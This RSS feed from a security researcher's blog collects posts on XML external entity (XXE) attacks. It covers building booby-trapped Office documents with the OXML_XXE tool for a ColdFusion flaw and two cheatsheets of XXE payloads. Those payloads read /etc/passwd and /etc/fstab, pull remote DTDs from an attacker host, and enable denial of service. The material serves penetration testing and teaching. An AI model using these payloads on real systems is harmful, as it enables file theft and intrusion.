<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Xxe on Willis Vandevanter</title><link>https://silentrobots.com/tags/xxe/</link><description>Technical security research and notes</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Sun, 02 Oct 2016 00:00:00 +0000</lastBuildDate><atom:link href="https://silentrobots.com/tags/xxe/index.xml" rel="self" type="application/rss+xml"/><item><title>Exploiting CVE-2016-4264 With OXML_XXE</title><link>https://silentrobots.com/exploiting-cve-2016-4264-with-oxml_xxe/</link><pubDate>Sun, 02 Oct 2016 00:00:00 +0000</pubDate><guid>https://silentrobots.com/exploiting-cve-2016-4264-with-oxml_xxe/</guid><description>&lt;img src="https://silentrobots.com/images/2022/11/robot2.png" alt="Featured image of post Exploiting CVE-2016-4264 With OXML_XXE" /&gt;&lt;p&gt;Recently ColdFusion was &lt;a class="link" href="http://legalhackers.com/advisories/Adobe-ColdFusion-11-XXE-Exploit-CVE-2016-4264.txt" target="_blank" rel="noopener"
 &gt;shown vulnerable&lt;/a&gt; to XXE based attacks in OXML documents; &lt;a class="link" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4264" target="_blank" rel="noopener"
 &gt;CVE-2016-4264&lt;/a&gt;. The blog post linked gives an example building the file using python; cool!&lt;/p&gt;
&lt;p&gt;It’s easy to backdoor files in a similar fashion with &lt;a class="link" href="https://github.com/BuffaloWill/oxml_xxe" target="_blank" rel="noopener"
 &gt;OXML XXE&lt;/a&gt;. The fastest way to do this is using the “Overwrite File inside DOCX/etc” function.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://silentrobots.com/images/external/sr00.png" alt="" loading="lazy" /&gt;
&lt;/p&gt;
&lt;p&gt;You can add any XLSX at this point, OXML_XXE ships with a sample.xlsx.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://silentrobots.com/images/external/sr1.png" alt="" loading="lazy" /&gt;
&lt;/p&gt;
&lt;p&gt;You will want to specify the XML file to overwrite; e.g. “[Content_Types.xml]”. The “_rels/.rels” file is another option.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://silentrobots.com/images/external/sr2.png" alt="" loading="lazy" /&gt;
&lt;/p&gt;
&lt;p&gt;Finally add in the XML exploit. Below a Parameter Entity is used.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://silentrobots.com/images/external/sr3.png" alt="" loading="lazy" /&gt;
&lt;/p&gt;
&lt;p&gt;Click “Build” to generate and download the file. To verify that the file is sound you can view the generated file in the “List Previously Built Files” menu option.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://silentrobots.com/images/external/sr05.png" alt="" loading="lazy" /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;img src="https://silentrobots.com/images/2022/05/image-1.png" alt="" loading="lazy" /&gt;
&lt;/p&gt;</description></item><item><title>Exploiting XXE In File Upload Functionality</title><link>https://silentrobots.com/exploiting-xxe-in-file-upload-functionality/</link><pubDate>Sun, 01 May 2016 00:00:00 +0000</pubDate><guid>https://silentrobots.com/exploiting-xxe-in-file-upload-functionality/</guid><description>&lt;img src="https://silentrobots.com/images/2022/11/falcon4.png" alt="Featured image of post Exploiting XXE In File Upload Functionality" /&gt;&lt;p&gt;Just wanted to post some details from my BH USA 2015 briefing “Exploiting XXE In File Upload Functionality”.&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://www.youtube.com/watch?v=LZUlw8hHp44" target="_blank" rel="noopener"
 &gt;https://www.youtube.com/watch?v=LZUlw8hHp44&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I also gave an updated version of the presentation in November for the Blackhat Webcast Series. It included more file types; PDF, JPG, and GIF. The link is here: &lt;a class="link" href="https://www.blackhat.com/html/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.html" target="_blank" rel="noopener"
 &gt;https://www.blackhat.com/html/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.html&lt;/a&gt;&lt;/p&gt;</description></item><item><title>XML Entity Cheatsheet - Updated</title><link>https://silentrobots.com/xml-entity-cheatsheet-updated/</link><pubDate>Thu, 24 Dec 2015 00:00:00 +0000</pubDate><guid>https://silentrobots.com/xml-entity-cheatsheet-updated/</guid><description>&lt;img src="https://silentrobots.com/images/2022/11/tree1.png" alt="Featured image of post XML Entity Cheatsheet - Updated" /&gt;&lt;p&gt;An XML Entity testing cheatsheet. This is an updated version with nokogiri tests removed, just (X)XE notes.&lt;/p&gt;
&lt;p&gt;XML Declaration(s):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; standalone=&amp;#34;no&amp;#34;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; standalone=&amp;#34;yes&amp;#34;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Vanilla entity test:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!DOCTYPE root [&amp;lt;!ENTITY post &amp;#34;1&amp;#34;&amp;gt;]&amp;gt;&amp;lt;root&amp;gt;&amp;amp;post;&amp;lt;/root&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;SYSTEM entity test (xxe):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!DOCTYPE root [&amp;lt;!ENTITY post SYSTEM &amp;#34;file:///etc/passwd&amp;#34;&amp;gt;]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Parameter Entity. One of the benefits is a paremeter entity is automatically expanded inside the DOCTYPE:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!DOCTYPE root [&amp;lt;!ENTITY % dtd SYSTEM &amp;#34;http://[IP]/some.dtd&amp;#34;&amp;gt;%dtd]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Should be illegal per XML specs but I&amp;#39;ve seen it work, also useful for DoS:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!DOCTYPE root [&amp;lt;!ENTITY % dtd SYSTEM &amp;#34;http://[IP]/some.dtd&amp;#34;&amp;gt;&amp;lt;!ENTITY % a &amp;#34;test %dtd&amp;#34;&amp;gt;]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Combined Entity and Parameter Entity:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!DOCTYPE root [&amp;lt;!ENTITY post SYSTEM &amp;#34;http://&amp;#34;&amp;gt;&amp;lt;!ENTITY % dtd SYSTEM &amp;#34;http://[IP]/some.dtd&amp;#34;&amp;gt;&amp;lt;!ENTITY % a &amp;#34;test %dtd&amp;#34;&amp;gt;]&amp;gt;&amp;lt;root&amp;gt;&amp;amp;post;&amp;lt;/root&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;URL handler. This follows &lt;a class="link" href="https://publib.boulder.ibm.com/infocenter/wsadhelp/v5r1m2/topic/com.ibm.etools.xmlbuilder.doc/topics/cxmlcat.html" target="_blank" rel="noopener"
 &gt;XML Entity - IBM (Broken)&lt;/a&gt; I have not used this but Public DTD works just as well:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!DOCTYPE root [&amp;lt;!ENTITY c PUBLIC &amp;#34;-//W3C//TEXT copyright//EN&amp;#34; &amp;#34;http://[IP]/copyright.xml&amp;#34;&amp;gt;]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;XML Schema Inline:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;madeuptag xlmns=&amp;#34;http://[ip]&amp;#34; xsi:schemaLocation=&amp;#34;http://[IP]&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;/madeuptag&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Remote Public DTD, from &lt;a class="link" href="https://github.com/BuffaloWill/oxml_xxe" target="_blank" rel="noopener"
 &gt;oxml_xxe payloads&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!DOCTYPE roottag PUBLIC &amp;#34;-//OXML/XXE/EN&amp;#34; &amp;#34;http://[IP]&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;External XML Stylesheet, from &lt;a class="link" href="http://releases.portswigger.net/2015/08/1625.html" target="_blank" rel="noopener"
 &gt;Burp Suite Release Notes&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;?xml-stylesheet type=&amp;#34;text/xml&amp;#34; href=&amp;#34;http://[IP]&amp;#34;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;XInclude:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;document xmlns:xi=&amp;#34;http://&amp;lt;IP&amp;gt;/XInclude&amp;#34;&amp;gt;&amp;lt;footer&amp;gt;&amp;lt;xi:include href=&amp;#34;title.xml&amp;#34;/&amp;gt;&amp;lt;/footer&amp;gt;&amp;lt;/document&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;root xmlns:xi=&amp;#34;http://www.w3.org/2001/XInclude&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;xi:include href=&amp;#34;file:///etc/fstab&amp;#34; parse=&amp;#34;text&amp;#34;/&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Inline XSLT:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;?xml-stylesheet type=&amp;#34;text/xml&amp;#34; href=&amp;#34;#mytest&amp;#34;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;xsl:stylesheet id=&amp;#34;mytest&amp;#34; version=&amp;#34;1.0&amp;#34; xmlns:xsl=&amp;#34;http://www.w3.org/1999/XSL/Transform&amp;#34; xmlns:fo=&amp;#34;http://www.w3.org/1999/XSL/Format&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!-- replace with your XSLT attacks --&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;xsl:import href=&amp;#34;http://[ip]&amp;#34;/&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;xsl:template match=&amp;#34;id(&amp;#39;boom&amp;#39;)&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;fo:block font-weight=&amp;#34;bold&amp;#34;&amp;gt;&amp;lt;xsl:apply-templates/&amp;gt;&amp;lt;/fo:block&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;/xsl:template&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;/xsl:stylesheet&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Useful Links:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="http://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf" target="_blank" rel="noopener"
 &gt;XML Schema, DTD, and Entity Attacks - A Compendium of Known Techniques&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://publib.boulder.ibm.com/infocenter/wsadhelp/v5r1m2/topic/com.ibm.etools.xmlbuilder.doc/topics/cxmlcat.html" target="_blank" rel="noopener"
 &gt;XML Entity Examples - IBM (Broken, check Internet Archive)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Exploiting XXE Vulnerabilities in OXML Documents - Part 1</title><link>https://silentrobots.com/exploiting-xxe-vulnerabilities-in-oxml-documents-part-1/</link><pubDate>Wed, 04 Mar 2015 00:00:00 +0000</pubDate><guid>https://silentrobots.com/exploiting-xxe-vulnerabilities-in-oxml-documents-part-1/</guid><description>&lt;img src="https://silentrobots.com/images/2022/11/tree4.png" alt="Featured image of post Exploiting XXE Vulnerabilities in OXML Documents - Part 1" /&gt;&lt;p&gt;OXML is a common document format; think docx (Microsoft Word Document), pptx (Microsoft Powerpoint), xlsx (Excel Spreadsheet), etc.&lt;/p&gt;
&lt;p&gt;An OXML document is a zip file containing XML files and any media files. When the document is rendered, the rendering library unzips the document and then parses the containing XML files. The order the XML files are parsed and which files maintain precedence over the others is dependent on the type of document. The following link is from Microsoft on the XML structure in Office 2007 files: &lt;a class="link" href="https://msdn.microsoft.com/en-us/library/aa338205%28v=office.12%29.aspx#office2007aboutnewfileformat_structureoftheofficexmlformats" target="_blank" rel="noopener"
 &gt;File format structure&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I have had success in the past embedding XML External Entities into the XML files of a docx, the XXE is exploited when the document is parsed. An easy example of this would be in file upload functionality that allows docx, pptx, or xlsx. Facebook was found vulnerable to this exact scenario in December 2014; &lt;a class="link" href="https://threatpost.com/xxe-bug-patched-in-facebook-careers-third-party-service" target="_blank" rel="noopener"
 &gt;XXE Bug Patched in Facebook&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you review the Microsoft link posted earlier you will see that each XML file plays a different role. I have found varying levels of success in which XML file I embed the XXE exploit into. To help out with this testing process I wrote a tool:&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://github.com/BuffaloWill/oxml_xxe" target="_blank" rel="noopener"
 &gt;https://github.com/BuffaloWill/oxml_xxe&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Keeping with 300 words or less I will stop here and pick up with oxml_xxe usage in the next blog post.&lt;/p&gt;</description></item><item><title>XML Entity Cheatsheet</title><link>https://silentrobots.com/xml-entity-cheatsheet/</link><pubDate>Wed, 03 Sep 2014 00:00:00 +0000</pubDate><guid>https://silentrobots.com/xml-entity-cheatsheet/</guid><description>&lt;img src="https://silentrobots.com/images/2022/11/monster4.png" alt="Featured image of post XML Entity Cheatsheet" /&gt;&lt;p&gt;An XML Entity testing cheatsheet. Testing was done using an older vulnerable version of nokogiri. In IRB you can require previous versions of gems. Certain techniques (e.g. XInclude) may require additional settings in Nokogiri.&lt;/p&gt;
&lt;p&gt;XML Headers:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; standalone=&amp;#34;no&amp;#34;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; standalone=&amp;#34;yes&amp;#34;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Vanilla entity test:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!DOCTYPE root [&amp;lt;!ENTITY post &amp;#34;1&amp;#34;&amp;gt;]&amp;gt;&amp;lt;root&amp;gt;&amp;amp;post;&amp;lt;/root&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;SYSTEM entity test (xxe):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!DOCTYPE root [&amp;lt;!ENTITY post SYSTEM &amp;#34;file:///etc/passwd&amp;#34;&amp;gt;]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;e.g.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;doc = Nokogiri::XML(&amp;#34;&amp;lt;!DOCTYPE root [ &amp;lt;!ENTITY spl SYSTEM \&amp;#34;file:///etc/passwd\&amp;#34;&amp;gt; ]&amp;gt;\n&amp;lt;a&amp;gt;&amp;amp;spl;&amp;lt;/a&amp;gt;&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;doc.children.children.children.text
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Parameter Entity Test. One of the benefits is a paremeter entity is automatically expanded inside the DOCTYPE:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!DOCTYPE root [&amp;lt;!ENTITY % dtd SYSTEM &amp;#34;http://[IP]/some.dtd&amp;#34;&amp;gt;&amp;lt;!ENTITY % a &amp;#34;test %dtd&amp;#34;&amp;gt;]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;e.g.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;options = Nokogiri::XML::ParseOptions::DTDATTR
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;doc = Nokogiri::XML::Document.parse(&amp;#34;&amp;lt;!DOCTYPE test [&amp;lt;!ENTITY % dtd SYSTEM \&amp;#34;http://172.16.122.177/student.dtd\&amp;#34;&amp;gt;&amp;lt;!ENTITY % a &amp;#34;test %dtd&amp;#34;&amp;gt;]&amp;gt;\n&amp;lt;test&amp;gt;success&amp;lt;/test&amp;gt;&amp;#34;, nil, nil, options)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;doc.children.text
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Combined Entity and Parameter Entity:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!DOCTYPE root [&amp;lt;!ENTITY post SYSTEM &amp;#34;http://&amp;#34;&amp;gt;&amp;lt;!ENTITY % dtd SYSTEM &amp;#34;http://[IP]/some.dtd&amp;#34;&amp;gt;&amp;lt;!ENTITY % a &amp;#34;test %dtd&amp;#34;&amp;gt;]&amp;gt;&amp;lt;root&amp;gt;&amp;amp;post;&amp;lt;/root&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;XInclude:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
